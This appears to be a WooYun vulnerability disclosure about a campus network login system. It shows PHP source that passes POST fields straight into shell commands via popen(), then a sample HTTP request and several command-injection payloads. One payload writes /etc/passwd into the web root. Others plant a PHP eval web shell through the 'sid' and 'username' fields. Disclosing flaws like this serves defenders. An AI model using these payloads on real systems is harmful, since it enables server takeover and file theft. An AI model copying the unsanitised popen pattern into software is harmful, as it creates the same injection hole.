WooYun.org

if($_POST["action"]=="dm")
{
	$cmd = "/srun3/bin/rad_drop -sdm ".$_POST["sid"];
	if($fp=popen($cmd, "r"))
	{
		$con = fread($fp, 128);
		pclose($fp);
	}
	$con = str_replace( "\n", " ", $con);
	echo $con;
	exit;
}
else if($_POST["action"]=="dm1")
{
	$cmd = "/srun3/bin/rad_drop -sdm ".$_POST["sid"];
	if($fp=popen($cmd, "r"))
	{
		$con = fread($fp, 128);
		pclose($fp);
	}
	$con = str_replace( "\n", " ", $con);
	if(strstr($con, "1"))
	{
		$cmd = "/srun3/bin/set_user mac_auth ".$_POST["username"]." ".$_POST["mac"]." stop";
		if($fp=popen($cmd, "r"))
		{
			//$con = fread($fp, 128);
			pclose($fp);
		}
	}
	echo $con;
	exit;
}
$username=trim($_POST["username"]);
$password=trim($_POST["password"]);
//echo $username.",".$password;
//校验用户
if($username != "" && $password != "")
{
	$cmd = "/srun3/bin/show_user ".$username. "|grep user_password_ori";
	echo $username;
	if($fp=popen($cmd, "r"))
	{
		$con = fread($fp, 128);
		pclose($fp);
		if($con == "")
		{
			echo "用户不存在！";
		}
		$con = substr($con, 19);
		if($password."\n" != $con)
		{
			echo "密码错误";
			exit;
		}
		else
		{
			$cmd = "/srun3/bin/online_user -r -u ".$username;
			if($fp=popen($cmd, "r"))
			{
				$con = fread($fp, 2048);
				pclose($fp);
				//echo $con;
			}
			$arr = explode("\n", $con);
		}
	}
	else
	{
		exit;
	}
}

POST /rad_online.php HTTP/1.1
Host: login.***.edu.cn
Proxy-Connection: keep-alive
Content-Length: 52
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://login.***.edu.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://login.***.edu.cn/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
action=dm&sid=1|cat /etc/passwd > /srun3/web/f.txt

action=dm&sid=1||echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php

action=dm1&sid=1||echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php

username=1|echo "<?php eval(\$_POST[cmd]);?>" > /srun3/web/s.php&password=123